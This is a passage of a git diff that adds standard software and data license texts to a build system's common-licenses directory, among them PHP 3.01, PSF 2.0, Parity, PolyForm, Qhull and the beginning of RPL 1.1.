+"Use" - As a verb, means doing any act that is restricted by Copyright or Database Rights whether in the original medium or any other; and includes modifying the Work as may be technically necessary to use it in a different mode or format. This includes the right to sublicense the Work.
+
+"Work" - Means either or both of the Database and Data offered under the terms of this Document.
+
+"You" - the Person acquiring rights under the licence elements of this Document.
+
+Words in the singular include the plural and vice versa.
+
+2.0 What this document covers
+
+2.1. Legal effect of this Document. This Document is:
+
+ a. A dedication to the public domain and waiver of Copyright and Database Rights over the Work; and
+
+ b. A licence of Copyright and Database Rights over the Work in jurisdictions that do not allow for relinquishment or waiver.
+
+2.2. Legal rights covered.
+
+ a. Copyright. Any copyright or neighbouring rights in the Work. Copyright law varies between jurisdictions, but is likely to cover: the Database model or schema, which is the structure, arrangement, and organisation of the Database, and can also include the Database tables and table indexes; the data entry and output sheets; and the Field names of Data stored in the Database. Copyright may also cover the Data depending on the jurisdiction and type of Data; and
+
+ b. Database Rights. Database Rights only extend to the extraction and re-utilisation of the whole or a substantial part of the Data. Database Rights can apply even when there is no copyright over the Database. Database Rights can also apply when the Data is removed from the Database and is selected and arranged in a way that would not infringe any applicable copyright.
+
+2.2 Rights not covered.
+
+ a. This Document does not apply to computer programs used in the making or operation of the Database;
+
+ b. This Document does not cover any patents over the Data or the Database. Please see Section 4.2 later in this Document for further details; and
+
+ c. This Document does not cover any trade marks associated with the Database. Please see Section 4.3 later in this Document for further details.
+
+Users of this Database are cautioned that they may have to clear other rights or consult other licences.
+
+2.3 Facts are free. The Rightsholder takes the position that factual information is not covered by Copyright. This Document however covers the Work in jurisdictions that may protect the factual information in the Work by Copyright, and to cover any information protected by Copyright that is contained in the Work.
+
+Part II: Dedication to the public domain
+
+3.0 Dedication, waiver, and licence of Copyright and Database Rights
+
+3.1 Dedication of Copyright and Database Rights to the public domain. The Rightsholder by using this Document, dedicates the Work to the public domain for the benefit of the public and relinquishes all rights in Copyright and Database Rights over the Work.
+
+ a. The Rightsholder realises that once these rights are relinquished, that the Rightsholder has no further rights in Copyright and Database Rights over the Work, and that the Work is free and open for others to Use.
+
+ b. The Rightsholder intends for their relinquishment to cover all present and future rights in the Work under Copyright and Database Rights, whether they are vested or contingent rights, and that this relinquishment of rights covers all their heirs and successors.
+
+The above relinquishment of rights applies worldwide and includes media and formats now known or created in the future.
+
+3.2 Waiver of rights and claims in Copyright and Database Rights when Section 3.1 dedication inapplicable. If the dedication in Section 3.1 does not apply in the relevant jurisdiction under Section 6.4, the Rightsholder waives any rights and claims that the Rightsholder may have or acquire in the future over the Work in:
+
+ a. Copyright; and
+
+ b. Database Rights.
+
+To the extent possible in the relevant jurisdiction, the above waiver of rights and claims applies worldwide and includes media and formats now known or created in the future. The Rightsholder agrees not to assert the above rights and waives the right to enforce them over the Work.
+
+3.3 Licence of Copyright and Database Rights when Sections 3.1 and 3.2 inapplicable. If the dedication and waiver in Sections 3.1 and 3.2 does not apply in the relevant jurisdiction under Section 6.4, the Rightsholder and You agree as follows:
+
+ a. The Licensor grants to You a worldwide, royalty-free, non-exclusive, licence to Use the Work for the duration of any applicable Copyright and Database Rights. These rights explicitly include commercial use, and do not exclude any field of endeavour. To the extent possible in the relevant jurisdiction, these rights may be exercised in all media and formats whether now known or created in the future.
+
+3.4 Moral rights. This section covers moral rights, including the right to be identified as the author of the Work or to object to treatment that would otherwise prejudice the author’s honour and reputation, or any other derogatory treatment:
+
+ a. For jurisdictions allowing waiver of moral rights, Licensor waives all moral rights that Licensor may have in the Work to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4;
+
+ b. If waiver of moral rights under Section 3.4 a in the relevant jurisdiction is not possible, Licensor agrees not to assert any moral rights over the Work and waives all claims in moral rights to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert moral rights under Section 3.4 a and b, the author may retain their moral rights over the copyrighted aspects of the Work.
+
+Please note that some jurisdictions do not allow for the waiver of moral rights, and so moral rights may still subsist over the work in some jurisdictions.
+
+4.0 Relationship to other rights
+
+4.1 No other contractual conditions. The Rightsholder makes this Work available to You without any other contractual obligations, either express or implied. Any Community Norms statement associated with the Work is not a contract and does not form part of this Document.
+
+4.2 Relationship to patents. This Document does not grant You a licence for any patents that the Rightsholder may own. Users of this Database are cautioned that they may have to clear other rights or consult other licences.
+
+4.3 Relationship to trade marks. This Document does not grant You a licence for any trade marks that the Rightsholder may own or that the Rightsholder may use to cover the Work. Users of this Database are cautioned that they may have to clear other rights or consult other licences. Part III: General provisions
+
+5.0 Warranties, disclaimer, and limitation of liability
+
+5.1 The Work is provided by the Rightsholder "as is" and without any warranty of any kind, either express or implied, whether of title, of accuracy or completeness, of the presence of absence of errors, of fitness for purpose, or otherwise. Some jurisdictions do not allow the exclusion of implied warranties, so this exclusion may not apply to You.
+
+5.2 Subject to any liability that may not be excluded or limited by law, the Rightsholder is not liable for, and expressly excludes, all liability for loss or damage however and whenever caused to anyone by any use under this Document, whether by You or by anyone else, and whether caused by any fault on the part of the Rightsholder or not. This exclusion of liability includes, but is not limited to, any special, incidental, consequential, punitive, or exemplary damages. This exclusion applies even if the Rightsholder has been advised of the possibility of such damages.
+
+5.3 If liability may not be excluded by law, it is limited to actual and direct financial loss to the extent it is caused by proved negligence on the part of the Rightsholder.
+
+6.0 General
+
+6.1 If any provision of this Document is held to be invalid or unenforceable, that must not affect the cvalidity or enforceability of the remainder of the terms of this Document.
+
+6.2 This Document is the entire agreement between the parties with respect to the Work covered here. It replaces any earlier understandings, agreements or representations with respect to the Work not specified here.
+
+6.3 This Document does not affect any rights that You or anyone else may independently have under any applicable law to make any use of this Work, including (for jurisdictions where this Document is a licence) fair dealing, fair use, database exceptions, or any other legally recognised limitation or exception to infringement of copyright or other applicable laws.
+
+6.4 This Document takes effect in the relevant jurisdiction in which the Document terms are sought to be enforced. If the rights waived or granted under applicable law in the relevant jurisdiction includes additional rights not waived or granted under this Document, these additional rights are included in this Document in order to meet the intent of this Document.
diff --git a/meta/files/common-licenses/PHP-3.01 b/meta/files/common-licenses/PHP-3.01
new file mode 100644
index 0000000000..6ffc95218f
--- /dev/null
+++ b/meta/files/common-licenses/PHP-3.01
@@ -0,0 +1,27 @@
+The PHP License, version 3.01
+
+Copyright (c) 1999 - 2012 The PHP Group. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "PHP" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact group@php.net.
+
+4. Products derived from this software may not be called "PHP", nor may "PHP" appear in their name, without prior written permission from group@php.net. You may indicate that your software works in conjunction with PHP by saying "Foo for PHP" instead of calling it "PHP Foo" or "phpfoo"
+
+5. The PHP Group may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by the PHP Group. No one other than the PHP Group has the right to modify the terms applicable to covered code created under this License.
+
+6. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes PHP software, freely available from <http://www.php.net/software/>".
+
+THIS SOFTWARE IS PROVIDED BY THE PHP DEVELOPMENT TEAM ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE PHP DEVELOPMENT TEAM OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This software consists of voluntary contributions made by many individuals on behalf of the PHP Group.
+
+The PHP Group can be contacted via Email at group@php.net.
+
+For more information on the PHP Group and the PHP project, please see <http://www.php.net>.
+
+PHP includes the Zend Engine, freely available at <http://www.zend.com>.
diff --git a/meta/files/common-licenses/PSF-2.0 b/meta/files/common-licenses/PSF-2.0
new file mode 100644
index 0000000000..4e673e93fc
--- /dev/null
+++ b/meta/files/common-licenses/PSF-2.0
@@ -0,0 +1,49 @@
+
+PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
+--------------------------------------------
+
+1. This LICENSE AGREEMENT is between the Python Software Foundation
+("PSF"), and the Individual or Organization ("Licensee") accessing and
+otherwise using this software ("Python") in source or binary form and
+its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, PSF
+hereby grants Licensee a nonexclusive, royalty-free, world-wide
+license to reproduce, analyze, test, perform and/or display publicly,
+prepare derivative works, distribute, and otherwise use Python
+alone or in any derivative version, provided, however, that PSF's
+License Agreement and PSF's notice of copyright, i.e., "Copyright (c)
+2001, 2002, 2003, 2004, 2005, 2006 Python Software Foundation; All Rights
+Reserved" are retained in Python alone or in any derivative version
+prepared by Licensee.
+
+3. In the event Licensee prepares a derivative work that is based on
+or incorporates Python or any part thereof, and wants to make
+the derivative work available to others as provided herein, then
+Licensee hereby agrees to include in any such work a brief summary of
+the changes made to Python.
+
+4. PSF is making Python available to Licensee on an "AS IS"
+basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
+FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
+A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
+OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+7. Nothing in this License Agreement shall be deemed to create any
+relationship of agency, partnership, or joint venture between PSF and
+Licensee. This License Agreement does not grant permission to use PSF
+trademarks or trade name in a trademark sense to endorse or promote
+products or services of Licensee, or any third party.
+
+8. By copying, installing or otherwise using Python, Licensee
+agrees to be bound by the terms and conditions of this License
+Agreement.
diff --git a/meta/files/common-licenses/Parity-6.0.0 b/meta/files/common-licenses/Parity-6.0.0
new file mode 100644
index 0000000000..a3bb2a623d
--- /dev/null
+++ b/meta/files/common-licenses/Parity-6.0.0
@@ -0,0 +1,44 @@
+The Parity Public License 6.0.0
+
+Contributor: Example, Inc.
+
+Source Code: https://example.com/sourcecode
+
+This license lets you use and share this software for free, as
+long as you contribute software you make with it. Specifically:
+
+If you follow the rules below, you may do everything with this
+software that would otherwise infringe either the contributor's
+copyright in it, any patent claim the contributor can license,
+or both.
+
+1. Contribute changes and additions you make to this software.
+
+2. If you combine this software with other software, contribute
+ that other software.
+
+3. Contribute software you develop, deploy, monitor, or run with
+ this software.
+
+4. Ensure everyone who gets a copy of this software from you, in
+ source code or any other form, gets the text of this license
+ and the contributor and source code lines above.
+
+5. Do not make any legal claim against anyone accusing this
+ software, with or without changes, alone or with other
+ software, of infringing any patent claim.
+
+To contribute software, publish all its source code, in the
+preferred form for making changes, through a freely accessible
+distribution system widely used for similar source code, and
+license contributions not already licensed to the public on terms
+as permissive as this license accordingly.
+
+You are excused for unknowingly breaking 1, 2, or 3 if you
+contribute as required, or stop doing anything requiring this
+license, within 30 days of learning you broke the rule.
+
+**As far as the law allows, this software comes as is, without
+any warranty, and the contributor will not be liable to anyone
+for any damages related to this software or this license, for any
+kind of legal claim.**
diff --git a/meta/files/common-licenses/Parity-7.0.0 b/meta/files/common-licenses/Parity-7.0.0
new file mode 100644
index 0000000000..e5e022061b
--- /dev/null
+++ b/meta/files/common-licenses/Parity-7.0.0
@@ -0,0 +1,71 @@
+# The Parity Public License 7.0.0
+
+Contributor: Artless Devices, LLC [US-CA]
+
+Source Code: https://github.com/licensezero/licensezero.com
+
+## Purpose
+
+This license allows you to use and share this software for free, but you have to share software that builds on it alike.
+
+## Agreement
+
+In order to receive this license, you have to agree to its rules. Those rules are both obligations under that agreement and conditions to your license. Don't do anything with this software that triggers a rule you can't or won't follow.
+
+## Notices
+
+Make sure everyone who gets a copy of any part of this software from you, with or without changes, also gets the text of this license and the contributor and source code lines above.
+
+## Copyleft
+
+[Contribute](#contribute) software you develop, operate, or analyze with this software, including changes or additions to this software. When in doubt, [contribute](#contribute).
+
+## Prototypes
+
+You don't have to [contribute](#contribute) any change, addition, or other software that meets all these criteria:
+
+1. You don't use it for more than thirty days.
+
+2. You don't share it outside the team developing it, other than for non-production user testing.
+
+3. You don't develop, operate, or analyze other software with it for anyone outside the team developing it.
+
+## Reverse Engineering
+
+You may use this software to operate and analyze software you can't [contribute](#contribute) in order to develop alternatives you can and do [contribute](#contribute).
+
+## Contribute
+
+To [contribute](#contribute) software:
+
+1. Publish all source code for the software in the preferred form for making changes through a freely accessible distribution system widely used for similar source code so the contributor and others can find and copy it.
+
+2. Make sure every part of the source code is available under this license or another license that allows everything this license does, such as [the Blue Oak Model License 1.0.0](https://blueoakcouncil.org/license/1.0.0), [the Apache License 2.0](https://www.apache.org/licenses/LICENSE-2.0.html), [the MIT license](https://spdx.org/licenses/MIT.html), or [the two-clause BSD license](https://spdx.org/licenses/BSD-2-Clause.html).
+
+3. Take these steps within thirty days.
+
+4. Note that this license does _not_ allow you to change the license terms for this software. You must follow [Notices](#notices).
+
+## Excuse
+
+You're excused for unknowingly breaking [Copyleft](#copyleft) if you [contribute](#contribute) as required, or stop doing anything requiring this license, within thirty days of learning you broke the rule. You're excused for unknowingly breaking [Notices](#notices) if you take all practical steps to comply within thirty days of learning you broke the rule.
+
+## Defense
+
+Don't make any legal claim against anyone accusing this software, with or without changes, alone or with other technology, of infringing any patent.
+
+## Copyright
+
+The contributor licenses you to do everything with this software that would otherwise infringe their copyright in it.
+
+## Patent
+
+The contributor licenses you to do everything with this software that would otherwise infringe any patents they can license or become able to license.
+
+## Reliability
+
+The contributor can't revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is, without any warranty or condition, and the contributor won't be liable to anyone for any damages related to this software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Plexus b/meta/files/common-licenses/Plexus
new file mode 100644
index 0000000000..c92bc72454
--- /dev/null
+++ b/meta/files/common-licenses/Plexus
@@ -0,0 +1,15 @@
+Copyright 2002 (C) The Codehaus. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "classworlds” must not be used to endorse or promote products derived from this Software without prior written permission of The Codehaus. For written permission, please contact bob@codehaus.org.
+
+4. Products derived from this Software may not be called "classworlds” nor may "classworlds” appear in their names without prior written permission of The Codehaus. "classworlds” is a registered trademark of The Codehaus.
+
+5. Due credit should be given to The Codehaus. (http://classworlds.codehaus.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE CODEHAUS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE CODEHAUS OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0 b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
new file mode 100644
index 0000000000..1a71cb6439
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
@@ -0,0 +1,131 @@
+# PolyForm Noncommercial License 1.0.0
+
+<https://polyformproject.org/licenses/noncommercial/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Noncommercial Purposes
+
+Any noncommercial purpose is a permitted purpose.
+
+## Personal Uses
+
+Personal use for research, experiment, and testing for
+the benefit of public knowledge, personal study, private
+entertainment, hobby projects, amateur pursuits, or religious
+observance, without any anticipated commercial application,
+is use for a permitted purpose.
+
+## Noncommercial Organizations
+
+Use by any charitable organization, educational institution,
+public research organization, public safety or health
+organization, environmental protection organization,
+or government institution is use for a permitted purpose
+regardless of the source of funding or obligations resulting
+from the funding.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/PolyForm-Small-Business-1.0.0 b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
new file mode 100644
index 0000000000..5b5790e04a
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
@@ -0,0 +1,121 @@
+# PolyForm Small Business License 1.0.0
+
+<https://polyformproject.org/licenses/small-business/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## Small Business
+
+Use of the software for the benefit of your company is use for
+a permitted purpose if your company has fewer than 100 total
+individuals working as employees and independent contractors,
+and less than 1,000,000 USD (2019) total revenue in the prior
+tax year. Adjust this revenue threshold for inflation according
+to the United States Bureau of Labor Statistics' consumer price
+index for all urban consumers, U.S. city average, for all items,
+not seasonally adjusted, with 1982–1984=100 reference base.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/Qhull b/meta/files/common-licenses/Qhull
new file mode 100644
index 0000000000..0c795af167
--- /dev/null
+++ b/meta/files/common-licenses/Qhull
@@ -0,0 +1,17 @@
+Qhull, Copyright (c) 1993-2003
+
+The National Science and Technology Research Center for Computation and Visualization of Geometric Structures (The Geometry Center) University of Minnesota
+
+email: qhull@qhull.org
+
+This software includes Qhull from The Geometry Center. Qhull is copyrighted as noted above. Qhull is free software and may be obtained via http from www.qhull.org. It may be freely copied, modified, and redistributed under the following conditions:
+
+1. All copyright notices must remain intact in all files.
+
+2. A copy of this text file must be distributed along with any copies of Qhull that you redistribute; this includes copies that you have modified, or copies of programs or other software products that include Qhull.
+
+3. If you modify Qhull, you must include a notice giving the name of the person performing the modification, the date of modification, and the reason for such modification.
+
+4. When distributing modified versions of Qhull, or other software products that include Qhull, you must provide notice that the original source code may be obtained as noted above.
+
+5. There is no warranty or other guarantee of fitness for Qhull, it is provided solely "as is". Bug reports or fixes may be sent to qhull_bug@qhull.org; the authors may or may not act on them as they desire.
diff --git a/meta/files/common-licenses/RPL-1.1 b/meta/files/common-licenses/RPL-1.1
new file mode 100644
index 0000000000..8db27a884c
--- /dev/null
+++ b/meta/files/common-licenses/RPL-1.1
@@ -0,0 +1,177 @@
+Reciprocal Public License, version 1.1
+
+Copyright (C) 2001-2002 Technical Pursuit Inc., All Rights Reserved.
+
+PREAMBLE
+
+This Preamble is intended to describe, in plain English, the nature, intent, and scope of this License. However, this Preamble is not a part of this License. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License is based on the concept of reciprocity. In exchange for being granted certain rights under the terms of this License to Licensor's Software, whose Source Code You have access to, You are required to reciprocate by providing equal access and rights to all third parties to the Source Code of any Modifications, Derivative Works, and Required Components for execution of same (collectively defined as Extensions) that You Deploy by Deploying Your Extensions under the terms of this License. In this fashion the available Source Code related to the original Licensed Software is enlarged for the benefit of everyone.
+
+Under the terms of this License You may:
+
+a. Distribute the Licensed Software exactly as You received it under the terms of this License either alone or as a component of an aggregate software distribution containing programs from several different sources without payment of a royalty or other fee.
+
+b. Use the Licensed Software for any purpose consistent with the rights granted by this License, but the Licensor is not providing You any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Software doesn't work properly or causes You any injury or damages.
+
+c. Create Extensions to the Licensed Software consistent with the rights granted by this License, provided that You make the Source Code to any Extensions You Deploy available to all third parties under the terms of this License, document Your Modifications clearly, and title all Extensions distinctly from the Licensed Software.
+
+d. Charge a fee for warranty or support, or for accepting indemnity or liability obligations for Your customers.
+
+Under the terms of this License You may not:
+
+a. Charge for the Source Code to the Licensed Software, or Your Extensions, other than a nominal fee not to exceed Your cost for reproduction and distribution where such reproduction and distribution involve physical media.
+
+b. Modify or delete any pre-existing copyright notices, change notices, or License text in the Licensed Software.
+
+c. Assert any patent claims against the Licensor or Contributors, or which would in any way restrict the ability of any third party to use the Licensed Software or portions thereof in any form under the terms of this License, or Your rights to the Licensed Software under this License automatically terminate.
+
+d. Represent either expressly or by implication, appearance, or otherwise that You represent Licensor or
+
+Contributors in any capacity or that You have any form of legal association by virtue of this License.
+
+Under the terms of this License You must:
+
+a. Document any Modifications You make to the Licensed Software including the nature of the change, the authors of the change, and the date of the change. This documentation must appear both in the Source Code and in a text file titled "CHANGES" distributed with the Licensed Software and Your Extensions.
+
+b. Make the Source Code for any Extensions You Deploy available in a timely fashion via an Electronic Distribution Mechanism such as FTP or HTTP download.
+
+c. Notify the Licensor of the availability of Source Code to Your Extensions in a timely fashion and include in such notice a brief description of the Extensions, the distinctive title used, and instructions on how to acquire the Source Code and future updates.
+
+d. Grant Licensor and all third parties a world-wide, non-exclusive, royalty-free license under any intellectual property rights owned or controlled by You to use, reproduce, display, perform, modify, sublicense, and distribute Your Extensions, in any form, under the terms of this License.
+
+LICENSE TERMS
+
+1.0 General; Applicability & Definitions. This Reciprocal Public License Version 1.1 ("License") applies to any programs or other works as well as any and all updates or maintenance releases of said programs or works ("Software") not already covered by this License which the Software copyright holder ("Licensor") makes publicly available containing a Notice (hereinafter defined) from the Licensor specifying or allowing use or distribution under the terms of this License. As used in this License and Preamble:
+
+ 1.1 "Contributor" means any person or entity who created or contributed to the creation of an Extension.
+
+ 1.2 "Deploy" means to use, Serve, sublicense or distribute Licensed Software other than for Your internal Research and/or Personal Use, and includes without limitation, any and all internal use or distribution of Licensed Software within Your business or organization other than for Research and/or Personal Use, as well as direct or indirect sublicensing or distribution of Licensed Software by You to any third party in any form or manner.
+
+ 1.3 "Derivative Works" as used in this License is defined under U.S. copyright law.
+
+ 1.4 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data such as download from an FTP or web site, where such mechanism is publicly accessible.
+
+ 1.5 "Extensions" means any Modifications, Derivative Works, or Required Components as those terms are defined in this License.
+
+ 1.6 "License" means this Reciprocal Public License.
+
+ 1.7 "Licensed Software" means any Software licensed pursuant to this License. Licensed Software also includes all previous Extensions from any Contributor that You receive.
+
+ 1.8 "Licensor" means the copyright holder of any Software previously uncovered by this License who releases the Software under the terms of this License.
+
+ 1.9 "Modifications" means any additions to or deletions from the substance or structure of (i) a file or other storage containing Licensed Software, or (ii) any new file or storage that contains any part of Licensed Software, or (iii) any file or storage which replaces or otherwise alters the original functionality of Licensed Software at runtime.
+
+ 1.10 "Notice" means the notice contained in EXHIBIT A.
+
+ 1.11 "Personal Use" means use of Licensed Software by an individual solely for his or her personal, private and non-commercial purposes. An individual's use of Licensed Software in his or her capacity as an officer, employee, member, independent contractor or agent of a corporation, business or organization (commercial or non-commercial) does not qualify as Personal Use.
+
+ 1.12 "Required Components" means any text, programs, scripts, schema, interface definitions, control files, or other works created by You which are required by a third party of average skill to successfully install and run Licensed Software containing Your Modifications, or to install and run Your Derivative Works.
+
+ 1.13 "Research" means investigation or experimentation for the purpose of understanding the nature and limits of the Licensed Software and its potential uses.
+
+ 1.14 "Serve" means to deliver Licensed Software and/or Your Extensions by means of a computer network to one or more computers for purposes of execution of Licensed Software and/or Your Extensions.
+
+ 1.15 "Software" means any computer programs or other works as well as any updates or maintenance releases of those programs or works which are distributed publicly by Licensor.
+
